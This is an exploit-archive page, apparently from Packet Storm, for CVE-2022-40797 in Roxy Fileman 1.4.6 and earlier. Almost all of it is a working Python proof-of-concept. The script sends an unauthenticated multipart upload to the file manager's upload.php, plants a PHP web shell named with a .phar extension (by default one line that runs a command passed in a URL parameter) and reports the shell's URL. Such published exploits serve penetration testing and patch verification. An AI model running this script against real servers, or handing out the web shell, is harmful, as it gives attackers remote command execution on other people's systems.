exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Roxy Fileman 1.4.6 Remote Shell Upload

Roxy Fileman 1.4.6 Remote Shell Upload
Posted Nov 21, 2022
Authored by Hadi Mene

Roxy Fileman versions 1.4.6 and below remote shell upload proof of concept exploit.

tags | exploit, remote, shell, proof of concept, file upload
advisories | CVE-2022-40797
SHA-256 | 16a9c59173c82b869a340397a5e68377531e0e0f9be9781793142e4f47786e1b

Roxy Fileman 1.4.6 Remote Shell Upload

Change Mirror Download
# Exploit Title: Roxy Fileman <= 1.4.6 Arbitrary File Upload (Unathenticated)
# Date: 11/12/2022
# Exploit Author: Hadi Mene <hadi_mene@hotmail.com>
# Vendor Homepage: roxyfileman.com
# Software Link: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php
# Version: <= 1.4.6
# Tested on: Ubuntu 18.04
# CVE : CVE-2022-40797

# https://nvd.nist.gov/vuln/detail/CVE-2022-40797

import requests
from optparse import OptionParser
from os.path import basename

banner = '#################################################\n'
banner += '# Roxy Fileman <= 1.4.6 Arbitrary File Upload #\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\tCVE-2022-40797 exploit code\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '# Author : Hadi Mene <hadi_mene@hotmail.com>\t#\n'
banner += '#\t\t\t\t\t\t#\n'
banner += '#################################################\n'


parser = OptionParser()
parser.add_option("-u", "--url", dest="url",
help="url of roxy fileman installation")
parser.add_option("-s", "--shell",dest="shell", default=False,
help="path of the php shell if not specified defaut shell will be uploaded ")


(options, args) = parser.parse_args()


if options.url is None:
parser.error('URL is required use -h for help')

url = options.url

#It seems that in some versions of the app an '/' in the end of the url breaks the exploit code
if (url.endswith('/')):
url = url[:-1] # we delete that '/'

webroot = options.url.split('/')[3:]
webroot = '/'+ '/'.join(webroot)

if (webroot.endswith('/')):
webroot = webroot[:-1]

webroot = webroot+'/Uploads'

if options.shell:
shell = open(options.shell,'r').read()
filename = basename(options.shell)
filename = filename.split('.')[0]

else:
# default shell
shell = "<?php system($_GET['cmd']); ?>"
filename = 'shell'


headers = {
'Host': (url.split('/')[2]),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'multipart/form-data; boundary=---------------------------39556237418830295983527604767',
'Origin': (url.split('/')[2]),
'Connection': 'close',
}

data = '-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="method"\r\n\r\najax\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="d"\r\n\r\n'+(webroot)+'\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="files[]"; filename="'+(filename)+'.phar"\r\nContent-Type: text/plain\r\n\r\n'+shell+'\n\r\n-----------------------------39556237418830295983527604767--\r\n'

#We check if a file with the same filename is already there
#because Roxy doesn't overwrite file instead it changes the filename of the newly uploaded file
if 'href="'+filename+'.phar"' in (requests.get(url+'/Uploads/').text):
already_uploaded = True
else:
already_uploaded = False

# file upload
req = requests.post(url+'/php/upload.php', headers=headers, data=data, verify=False)
response = (req.text)

print(banner)

if '{"res":"ok","msg":""}' in (response):
# success
print('File Uploaded Successfully!!!')

if already_uploaded:
print('A file with the same filename is already on the server..')
print('URL: '+url+'/Uploads/'+(filename)+' - Copy X.phar ')

else:
print('URL: '+url+'/Uploads/'+(filename)+'.phar')

else:
# failure
print('Shell Upload Failed :((( ')
print(response) #debug


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close